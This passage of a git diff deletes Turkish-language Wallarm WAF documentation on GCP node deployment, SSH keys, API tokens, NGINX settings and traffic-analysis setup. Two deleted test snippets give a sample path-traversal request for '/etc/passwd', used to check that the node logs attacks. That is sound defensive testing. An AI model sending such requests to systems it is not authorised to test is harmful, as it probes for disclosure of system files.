yapmak için şu adımları uygulayın: - 1. **SSH Keys** ayarında **Block project-wide** onay kutusunu işaretleyin. - 2. **SSH Keys** ayarında bir SSH anahtarı girme alanını genişletmek için **Show and edit** düğmesine tıklayın. - 3. Açık ve gizli SSH anahtarlarından oluşan bir çift oluşturun. Örneğin, `ssh-keygen` ve `PuTTYgen` yardımcı programlarını kullanabilirsiniz. - - ![PuTTYgen kullanarak SSH anahtarları oluşturma][img-ssh-key-generation] - - 4. Kullanılan anahtar üreticisinin arayüzünden OpenSSH formatındaki açık anahtarı kopyalayın (mevcut örnekte, üretilen açık anahtar PuTTYgen arayüzündeki **Public key for pasting into OpenSSH authorized_keys file** alanından kopyalanmalıdır) ve onu **Enter entire key data** ipucunu içeren alana yapıştırın. - 5. Özel anahtarı kaydedin. Gelecekte yapılandırılmış örneğe bağlanmak için gerekecektir. -5. Değişiklikleri uygulamak için sayfanın altındaki **Save** düğmesine tıklayın. - -## 3. Filtreleme düğümü örneğine SSH ile bağlanın - -Örneklerle bağlantı kurma yöntemleri hakkında ayrıntılı bilgi için bu [bağlantıya](https://cloud.google.com/compute/docs/instances/connecting-to-instance) gidin. - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. Filtreleme düğümünü Wallarm Cloud’a bağlayın - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-5.x.md b/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-5.x.md deleted file mode 100644 index 010e633410..0000000000 --- a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-5.x.md +++ /dev/null @@ -1,90 +0,0 @@ -## Gereksinimler - -* Bir GCP hesabı -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com:444` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com:444` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][wallarm-api-via-proxy] kullanın -* Saldırı tespit kurallarının güncellemelerini ve [API spesifikasyonlarını][api-spec-enforcement-docs] indirmek ve [izinli, yasaklı veya gri listelenmiş][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Tüm komutların bir Wallarm örneğinde süper kullanıcı (örn. `root`) olarak yürütülmesi - -## 1. Bir filtreleme düğümü örneği başlatın - -### Google Cloud UI üzerinden örneği başlatın - -Filtreleme düğümü örneğini Google Cloud UI üzerinden başlatmak için lütfen [Google Cloud Marketplace’teki Wallarm node imajını](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) açın ve **GET STARTED**’a tıklayın. - -Örnek, önceden yüklenmiş filtreleme düğümüyle başlatılacaktır. Google Cloud’da örnek başlatma hakkında ayrıntılı bilgi için lütfen [resmî Google Cloud Platform dokümantasyonuna][link-launch-instance] bakın. - -### Terraform veya diğer araçlarla örneği başlatın - -Terraform gibi bir araç kullanarak Wallarm GCP imajı ile filtreleme düğümü örneğini başlatırken, Terraform yapılandırmasında bu imajın adını belirtmeniz gerekebilir. - -* İmaj adı aşağıdaki formattadır: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* Filtreleme düğümü sürümü 5.x olan örneği başlatmak için lütfen aşağıdaki imaj adını kullanın: - - ```bash - wallarm-node-195710/wallarm-node-5-3-17-20250821-111038 - ``` - -İmaj adını almak için şu adımları da izleyebilirsiniz: - -1. [Google Cloud SDK’yı](https://cloud.google.com/sdk/docs/install) kurun. -2. Aşağıdaki parametrelerle [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) komutunu çalıştırın: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-5-3-*'" --no-standard-images - ``` -3. En son mevcut imajın adından sürüm değerini kopyalayın ve kopyaladığınız değeri sağlanan imaj adı formatına yapıştırın. Örneğin, filtreleme düğümü sürümü 4.10 imajının adı şu şekilde olacaktır: - - ```bash - wallarm-node-195710/wallarm-node-5-3-17-20250821-111038 - ``` - -## 2. Filtreleme düğümü örneğini yapılandırın - -Başlatılan filtreleme düğümü örneğini yapılandırmak için aşağıdaki işlemleri gerçekleştirin: - -1. Menüde **Compute Engine** bölümündeki **VM instances** sayfasına gidin. -2. Başlatılan filtreleme düğümü örneğini seçin ve **Edit** düğmesine tıklayın. -3. **Firewalls** ayarında ilgili onay kutularını işaretleyerek gerekli türde gelen trafiğe izin verin. -4. Gerekirse, örneğe proje SSH anahtarlarıyla bağlanmayı kısıtlayabilir ve bu örneğe bağlanmak için özel bir SSH anahtar çifti kullanabilirsiniz. Bunu yapmak için aşağıdaki adımları uygulayın: - 1. **SSH Keys** ayarında **Block project-wide** onay kutusunu işaretleyin. - 2. **SSH Keys** ayarında **Show and edit** düğmesine tıklayarak SSH anahtarı girme alanını genişletin. - 3. Genel ve özel SSH anahtarlarından oluşan bir çift oluşturun. Örneğin, `ssh-keygen` ve `PuTTYgen` yardımcı programlarını kullanabilirsiniz. - - ![PuTTYgen kullanarak SSH anahtarları oluşturma][img-ssh-key-generation] - - 4. Kullanılan anahtar üreticisinin arayüzünden OpenSSH formatında bir açık anahtarı kopyalayın (mevcut örnekte oluşturulan genel anahtar, PuTTYgen arayüzündeki **Public key for pasting into OpenSSH authorized_keys file** alanından kopyalanmalıdır) ve **Enter entire key data** ipucunu içeren alana yapıştırın. - 5. Özel anahtarı kaydedin. Bu, gelecekte yapılandırılan örneğe bağlanmak için gerekecektir. -5. Değişiklikleri uygulamak için sayfanın altındaki **Save** düğmesine tıklayın. - -## 3. SSH üzerinden filtreleme düğümü örneğine bağlanın - -Örneklere bağlanma yöntemleri hakkında ayrıntılı bilgi için bu [bağlantıya](https://cloud.google.com/compute/docs/instances/connecting-to-instance) gidin. - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. Bir örneği Wallarm Cloud’a bağlamak için bir token oluşturun - -Yerel Wallarm filtreleme düğümünün, [uygun türdeki][wallarm-token-types] bir Wallarm tokenı kullanarak Wallarm Cloud ile bağlantı kurması gerekir. Bir API tokenı, Wallarm Console UI içinde bir düğüm grubu oluşturmanıza olanak tanır; bu da düğüm örneklerinizi etkili şekilde organize etmenize yardımcı olur. - -![Gruplanmış düğümler][img-grouped-nodes] - -Tokenı şu şekilde oluşturun: - -=== "API token" - - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) üzerinde açın. - 1. Kullanım türü `Node deployment/Deployment` olan bir API tokenı bulun veya oluşturun. - 1. Bu tokenı kopyalayın. -=== "Node token" - - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) üzerinde açın. - 1. Şunlardan birini yapın: - * **Wallarm node** türünde bir düğüm oluşturun ve oluşturulan tokenı kopyalayın. - * Mevcut düğüm grubunu kullanın - düğümün menüsünden → **Copy token** ile tokenı kopyalayın. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md b/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md deleted file mode 100644 index 65ce9e9473..0000000000 --- a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md +++ /dev/null @@ -1,90 +0,0 @@ -## Gereksinimler - -* Bir GCP hesabı -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com:444` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com:444` erişimi. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][wallarm-api-via-proxy] kullanın -* Saldırı tespit kurallarının ve [API spesifikasyonlarının][api-spec-enforcement-docs] güncellemelerini indirmek ve [izinli listeye, yasaklı listeye veya gri listeye][ip-lists-docs] aldığınız ülkeler, bölgeler veya veri merkezleri için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Tüm komutların bir Wallarm instance’ında süper kullanıcı (ör. `root`) olarak çalıştırılması - -## 1. Filtreleme düğümü (filtering node) instance’ı başlatın - -### Google Cloud UI üzerinden instance başlatma - -Filtreleme düğümü instance’ını Google Cloud UI üzerinden başlatmak için lütfen [Google Cloud Marketplace’teki Wallarm node imajını](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) açın ve **GET STARTED**’a tıklayın. - -Instance, önceden kurulmuş bir filtreleme düğümü ile başlatılacaktır. Google Cloud’da instance başlatma hakkında ayrıntılı bilgi için lütfen [resmi Google Cloud Platform dokümantasyonu][link-launch-instance] sayfasına gidin. - -### Terraform veya diğer araçlar ile instance başlatma - -Terraform gibi bir aracı kullanarak Wallarm GCP imajını temel alan filtreleme düğümü instance’ı başlatırken, Terraform yapılandırmasında bu imajın adını belirtmeniz gerekebilir. - -* İmaj adı aşağıdaki formattadır: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* Filtreleme düğümü sürümü 5.x ile bir instance başlatmak için lütfen aşağıdaki imaj adını kullanın: - - ```bash - wallarm-node-195710/wallarm-node-6-5-1-20250908-174655 - ``` - -İmaj adını almak için şu adımları da izleyebilirsiniz: - -1. [Google Cloud SDK’yı](https://cloud.google.com/sdk/docs/install) kurun. -2. Aşağıdaki parametrelerle [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) komutunu çalıştırın: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-6-5-*'" --no-standard-images - ``` -3. En son mevcut imajın adından sürüm değerini kopyalayın ve verilen imaj adı formatına yapıştırın. Örneğin, filtreleme düğümü sürümü 4.10 imajı aşağıdaki ada sahip olacaktır: - - ```bash - wallarm-node-195710/wallarm-node-6-5-1-20250908-174655 - ``` - -## 2. Filtreleme düğümü instance’ını yapılandırın - -Başlatılan filtreleme düğümü instance’ını yapılandırmak için aşağıdaki işlemleri gerçekleştirin: - -1. Menüde **Compute Engine** bölümündeki **VM instances** sayfasına gidin. -2. Başlatılan filtreleme düğümü instance’ını seçin ve **Edit** düğmesine tıklayın. -3. **Firewalls** ayarındaki ilgili onay kutularını işaretleyerek gerekli türde gelen trafiğe izin verin. -4. Gerekirse, instance’a proje SSH anahtarlarıyla bağlantıyı kısıtlayabilir ve bu instance’a bağlanmak için özel bir SSH anahtar çifti kullanabilirsiniz. Bunu yapmak için şu işlemleri gerçekleştirin: - 1. **SSH Keys** ayarında **Block project-wide** onay kutusunu işaretleyin. - 2. **SSH Keys** ayarında **Show and edit** düğmesine tıklayın ve SSH anahtarını girmek için alanı genişletin. - 3. Genel ve özel SSH anahtarlarından oluşan bir çift üretin. Örneğin `ssh-keygen` ve `PuTTYgen` yardımcı programlarını kullanabilirsiniz. - - ![PuTTYgen kullanarak SSH anahtarları oluşturma][img-ssh-key-generation] - - 4. Kullanılan anahtar üretici arayüzünden OpenSSH formatında açık anahtarı kopyalayın (bu örnekte, oluşturulan genel anahtar PuTTYgen arayüzündeki **Public key for pasting into OpenSSH authorized_keys file** alanından kopyalanmalıdır) ve **Enter entire key data** ipucunu içeren alana yapıştırın. - 5. Özel anahtarı kaydedin. Gelecekte yapılandırılmış instance’a bağlanmak için gerekecektir. -5. Değişiklikleri uygulamak için sayfanın altındaki **Save** düğmesine tıklayın. - -## 3. Filtreleme düğümü instance’ına SSH ile bağlanın - -Instance’lara bağlanma yöntemleri hakkında ayrıntılı bilgi için bu [bağlantıya](https://cloud.google.com/compute/docs/instances/connecting-to-instance) gidin. - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. Bir instance’ı Wallarm Cloud’a bağlamak için token oluşturun - -Yerel Wallarm filtreleme düğümünün, [uygun türdeki][wallarm-token-types] bir Wallarm token’ı kullanarak Wallarm Cloud ile bağlantı kurması gerekir. Bir API token’ı, Wallarm Console UI içinde bir node grubu oluşturmanıza olanak tanır ve bu da node instance’larınızı etkili şekilde organize etmenize yardımcı olur. - -![Gruplandırılmış node’lar][img-grouped-nodes] - -Token’ı şu şekilde oluşturun: - -=== "API belirteci" - - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. - 1. `Node deployment/Deployment` kullanım tipine sahip bir API token’ı bulun veya oluşturun. - 1. Bu token’ı kopyalayın. -=== "Node belirteci" - - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde açın. - 1. Şunlardan birini yapın: - * **Wallarm node** tipinde bir node oluşturun ve oluşturulan token’ı kopyalayın. - * Mevcut node grubunu kullanın - node’un menüsünden → **Copy token** ile token’ı kopyalayın. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/restart-nginx.md b/include-tr/waf/installation/cloud-platforms/restart-nginx.md deleted file mode 100644 index a9257df71f..0000000000 --- a/include-tr/waf/installation/cloud-platforms/restart-nginx.md +++ /dev/null @@ -1,7 +0,0 @@ -Ayarları uygulamak için Wallarm örneğindeki NGINX'i yeniden başlatın: - -``` bash -sudo systemctl restart nginx -``` - -Her yapılandırma dosyası değişikliğinin uygulanması için NGINX'in yeniden başlatılması gerekir. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/test-operation-inline.md b/include-tr/waf/installation/cloud-platforms/test-operation-inline.md deleted file mode 100644 index 407c6fcedb..0000000000 --- a/include-tr/waf/installation/cloud-platforms/test-operation-inline.md +++ /dev/null @@ -1,11 +0,0 @@ -1. Yük dengeleyicinin veya Wallarm node'un bulunduğu makinenin adresine test amaçlı [Dizin Geçişi][ptrav-attack-docs] saldırısı içeren istek: - - ``` - curl http://
              /etc/passwd - ``` -2. [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içindeki Wallarm Console → Attacks bölümünü açın ve saldırının listede görüntülendiğinden emin olun. - ![Arayüzdeki Attacks][attacks-in-ui-image] - - Wallarm izleme modunda çalıştığından, Wallarm node saldırıyı engellemez, ancak kaydeder. - -1. İsteğe bağlı olarak, Wallarm node'un işleyişinin diğer yönlerini [test edin][link-wallarm-health-check]. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/test-operation-oob.md b/include-tr/waf/installation/cloud-platforms/test-operation-oob.md deleted file mode 100644 index 92c9eed646..0000000000 --- a/include-tr/waf/installation/cloud-platforms/test-operation-oob.md +++ /dev/null @@ -1,9 +0,0 @@ -1. Trafiği yansıtan web veya proxy sunucusunun ya da Wallarm node'unun bulunduğu makinenin adresine yönelik, test amaçlı [Dizin Geçişi][ptrav-attack-docs] saldırısı içeren istek: - - ``` - curl http://
              /etc/passwd - ``` -2. [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içindeki Wallarm Console → **Attacks** bölümünü açın ve saldırının listede görüntülendiğinden emin olun. - ![Arayüzdeki saldırılar][attacks-in-ui-image] - -Wallarm OOB izleme modunda çalıştığından, Wallarm node saldırıyı engellemez, ancak kaydeder. \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options-216.md b/include-tr/waf/installation/common-customization-options-216.md deleted file mode 100644 index 26dd4982e7..0000000000 --- a/include-tr/waf/installation/common-customization-options-216.md +++ /dev/null @@ -1,10 +0,0 @@ -Yaygın özelleştirme seçenekleri: - -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm düğüm değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Filtreleme düğümünün arkasındaki proxy sunucusunun yük dengeleyicisinin kullanılması][proxy-balancer-instr] -* [`block` filtreleme modunda Wallarm'ın güvenlik açığı tarama IP’lerinin izin listesine eklenmesi][scanner-allowlisting-instr] -* [`wallarm_process_time_limit` yönergesinde tek bir isteğin işlenme süresinin sınırlandırılması][process-time-limit-instr] -* [NGINX yönergesi `proxy_read_timeout` içinde sunucu yanıtı bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX yönergesi `client_max_body_size` içinde azami istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [**libdetection** ile saldırıların çift tespiti][enable-libdetection-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options-4.4.md b/include-tr/waf/installation/common-customization-options-4.4.md deleted file mode 100644 index 03c507acc9..0000000000 --- a/include-tr/waf/installation/common-customization-options-4.4.md +++ /dev/null @@ -1,8 +0,0 @@ -Yaygın özelleştirme seçenekleri: - -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm node değişkenlerinin günlüklenmesi][logging-instr] -* [Filtreleme düğümünün arkasındaki proxy sunucunun yük dengeleyicisinin kullanılması][proxy-balancer-instr] -* [Tek bir isteğin işlenme süresinin `wallarm_process_time_limit` yönergesinde sınırlandırılması][process-time-limit-instr] -* [Sunucu yanıtını bekleme süresinin NGINX yönergesi `proxy_read_timeout` ile sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Maksimum istek boyutunun NGINX yönergesi `client_max_body_size` ile sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options-docker-216.md b/include-tr/waf/installation/common-customization-options-docker-216.md deleted file mode 100644 index c44a95988e..0000000000 --- a/include-tr/waf/installation/common-customization-options-docker-216.md +++ /dev/null @@ -1,7 +0,0 @@ -* [Filtrasyon modunun yapılandırılması][waf-mode-instr] -* [Wallarm düğümü değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Wallarm'ın zafiyet tarama IP'lerinin `block` filtrasyon modunda izin listesine eklenmesi][scanner-allowlisting-instr] -* [`wallarm_process_time_limit` yönergesinde tek bir isteğin işlenme süresinin sınırlandırılması][process-time-limit-instr] -* [NGINX yönergesi `proxy_read_timeout` içinde sunucu yanıtını bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX yönergesi `client_max_body_size` içinde maksimum istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [**libdetection** ile saldırıların çift tespiti][enable-libdetection-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options-docker-4.4.md b/include-tr/waf/installation/common-customization-options-docker-4.4.md deleted file mode 100644 index 4262a31e23..0000000000 --- a/include-tr/waf/installation/common-customization-options-docker-4.4.md +++ /dev/null @@ -1,5 +0,0 @@ -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm node değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Tek bir isteğin işlenme süresinin `wallarm_process_time_limit` yönergesinde sınırlandırılması][process-time-limit-instr] -* [Sunucu yanıtı bekleme süresinin NGINX yönergesi `proxy_read_timeout` ile sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Maksimum istek boyutunun NGINX yönergesi `client_max_body_size` ile sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options-docker.md b/include-tr/waf/installation/common-customization-options-docker.md deleted file mode 100644 index df4ecbdebf..0000000000 --- a/include-tr/waf/installation/common-customization-options-docker.md +++ /dev/null @@ -1,6 +0,0 @@ -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm düğümü değişkenlerinin günlüğe kaydı][logging-instr] -* [`wallarm_process_time_limit` yönergesinde tek bir isteğin işlenme süresinin sınırlandırılması][process-time-limit-instr] -* [NGINX yönergesi `proxy_read_timeout` içinde sunucu yanıtı bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX yönergesi `client_max_body_size` içinde maksimum istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [**libdetection** ile saldırıların çifte tespiti][enable-libdetection-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options-nginx-216.md b/include-tr/waf/installation/common-customization-options-nginx-216.md deleted file mode 100644 index 617ea64a80..0000000000 --- a/include-tr/waf/installation/common-customization-options-nginx-216.md +++ /dev/null @@ -1,11 +0,0 @@ -Sık kullanılan özelleştirme seçenekleri: - -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm düğümü değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Filtreleme düğümünün arkasındaki proxy sunucusunun yük dengeleyicisinin kullanılması][proxy-balancer-instr] -* [`block` filtreleme modunda Wallarm'ın zafiyet tarama IP'lerinin izin listesine eklenmesi][scanner-allowlisting-instr] -* [Tek bir isteğin işleme süresinin `wallarm_process_time_limit` yönergesinde sınırlandırılması][process-time-limit-instr] -* [NGINX `proxy_read_timeout` yönergesinde sunucu yanıtı için bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX `client_max_body_size` yönergesinde en büyük istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [NGINX'te dinamik DNS çözümlemesinin yapılandırılması][dynamic-dns-resolution-nginx] -* [**libdetection** ile saldırıların çifte tespiti][enable-libdetection-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options-nginx-4.4.md b/include-tr/waf/installation/common-customization-options-nginx-4.4.md deleted file mode 100644 index e6ce4802ef..0000000000 --- a/include-tr/waf/installation/common-customization-options-nginx-4.4.md +++ /dev/null @@ -1,9 +0,0 @@ -Yaygın özelleştirme seçenekleri: - -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm node değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Filtreleme düğümünün arkasındaki proxy sunucunun yük dengeleyicisinin kullanılması][proxy-balancer-instr] -* [Tek bir isteğin işlenme süresinin `wallarm_process_time_limit` yönergesinde sınırlandırılması][process-time-limit-instr] -* [NGINX `proxy_read_timeout` yönergesinde sunucu yanıtını bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX `client_max_body_size` yönergesinde en büyük istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [NGINX'te dinamik DNS çözümlemesinin yapılandırılması][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options-nginx.md b/include-tr/waf/installation/common-customization-options-nginx.md deleted file mode 100644 index bb98f56ce4..0000000000 --- a/include-tr/waf/installation/common-customization-options-nginx.md +++ /dev/null @@ -1,10 +0,0 @@ -Yaygın özelleştirme seçenekleri: - -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm düğüm değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Filtreleme düğümünün arkasındaki proxy sunucunun yük dengeleyicisinin kullanılması][proxy-balancer-instr] -* [Tek bir isteğin işlenme süresinin `wallarm_process_time_limit` yönergesinde sınırlandırılması][process-time-limit-instr] -* [NGINX yönergesi `proxy_read_timeout` ile sunucu yanıtı bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX yönergesi `client_max_body_size` ile en büyük istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [NGINX’te dinamik DNS çözümlemesinin yapılandırılması][dynamic-dns-resolution-nginx] -* [Saldırıların **libdetection** ile çift tespiti][enable-libdetection-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/common-customization-options.md b/include-tr/waf/installation/common-customization-options.md deleted file mode 100644 index 35f514223c..0000000000 --- a/include-tr/waf/installation/common-customization-options.md +++ /dev/null @@ -1,9 +0,0 @@ -Yaygın özelleştirme seçenekleri: - -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm düğüm değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Filtreleme düğümünün arkasındaki proxy sunucusunun yük dengeleyicisinin kullanılması][proxy-balancer-instr] -* [`wallarm_process_time_limit` yönergesinde tek bir isteğin işlenme süresinin sınırlandırılması][process-time-limit-instr] -* [NGINX `proxy_read_timeout` yönergesinde sunucu yanıtı bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX `client_max_body_size` yönergesinde maksimum istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [**libdetection** ile saldırıların çift tespiti][enable-libdetection-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md b/include-tr/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md deleted file mode 100644 index e452190d0e..0000000000 --- a/include-tr/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md +++ /dev/null @@ -1,78 +0,0 @@ -Varsayılan olarak, dağıtılan Wallarm Node gelen trafiği analiz etmez. - -Trafik analizini etkinleştirmek için aşağıdaki yapılandırmayı uygulayın: - -=== "Hat İçi" - Wallarm Node'u [hat içi][inline-docs] trafik analizi ve meşru trafiğin proxy'lenmesi için dağıtıyorsanız, genellikle `/etc/nginx/sites-available/default` konumunda bulunan [NGINX yapılandırma dosyasını](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) güncelleyin. - - Aşağıdaki asgari yapılandırma düzenlemeleri gereklidir: - - 1. Wallarm Node için `wallarm_mode monitoring;` ayarlayın. Bu kip, ilk dağıtımlar ve test için önerilir. - - Wallarm ayrıca engelleme ve güvenli engelleme gibi daha fazla kipi de destekler, bunlar hakkında [daha fazla bilgi edinin][waf-mode-instr]. - 1. Gerekli konumlarda `proxy_pass` yönergesini ekleyerek düğümün meşru trafiği nereye ileteceğini belirleyin. Bu, bir uygulama sunucusunun IP'sine, bir yük dengeleyiciye veya bir DNS adına olabilir. - 1. Varsa, trafiğin yerel dosya müdahalesi olmadan Wallarm'a yönlendirildiğinden emin olmak için değiştirilmiş konumlardan `try_files` yönergesini kaldırın. - - ```diff - server { - ... - + wallarm_mode monitoring; - location / { - + proxy_pass http://example.com; - - # try_files $uri $uri/ =404; - } - ... - } - ``` -=== "Bant Dışı" - Wallarm Node'u [bant dışı][oob-docs] trafik analizi için dağıtıyorsanız, genellikle `/etc/nginx/sites-available/default` konumunda bulunan [NGINX yapılandırma dosyasını](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) güncelleyin. - - Aşağıdaki asgari yapılandırma düzenlemeleri gereklidir: - - 1. Wallarm düğümünün yansıtılmış trafiği kabul etmesi için `server` NGINX bloğunda aşağıdaki yapılandırmayı ayarlayın: - - ``` - server { - listen 80; - ... - - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22 değerini yansıtma sunucusunun adresiyle değiştirin - #set_real_ip_from 222.222.222.22; - #real_ip_header X-Forwarded-For; - #real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - } - ``` - - * Wallarm Console'un saldırganların IP adreslerini [görüntüleyebilmesi][proxy-balancer-instr] için `set_real_ip_from` ve `real_ip_header` yönergeleri gereklidir. - * `wallarm_force_response_*` yönergeleri, yansıtılmış trafikten alınan kopyalar dışındaki tüm isteklerin analizini devre dışı bırakmak için gereklidir. - 1. Wallarm düğümünün yansıtılmış trafiği analiz edebilmesi için `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Kötü amaçlı istekler [engellenemediği][oob-advantages-limitations] için, Wallarm'ın kabul ettiği tek [kip][waf-mode-instr] monitoring'dir. Hat içi dağıtım için güvenli engelleme ve engelleme kipleri de vardır, ancak `wallarm_mode` yönergesini monitoring dışında bir değere ayarlasanız bile düğüm trafiği izlemeye devam eder ve yalnızca kötü amaçlı trafiği kaydeder (kapalı moda ayarlama durumu dışında). - 1. Varsa, trafiğin yerel dosya müdahalesi olmadan Wallarm'a yönlendirildiğinden emin olmak için NGINX konumlarından `try_files` yönergesini kaldırın: - - ```diff - server { - ... - location / { - - # try_files $uri $uri/ =404; - } - ... - } - ``` - -Özel trafik yönlendirme kurallarınıza ve gereksinimlerinize bağlı olarak, gerekirse hem [NGINX](https://nginx.org/en/docs/dirindex.html) hem de [Wallarm yapılandırmalarını][waf-directives-instr] daha fazla özelleştirin. \ No newline at end of file diff --git a/include-tr/waf/installation/common-steps-to-enable-traffic-analysis-inline.md b/include-tr/waf/installation/common-steps-to-enable-traffic-analysis-inline.md deleted file mode 100644 index 0844840417..0000000000 --- a/include-tr/waf/installation/common-steps-to-enable-traffic-analysis-inline.md +++ /dev/null @@ -1,23 +0,0 @@ -Varsayılan olarak, dağıtılan Wallarm 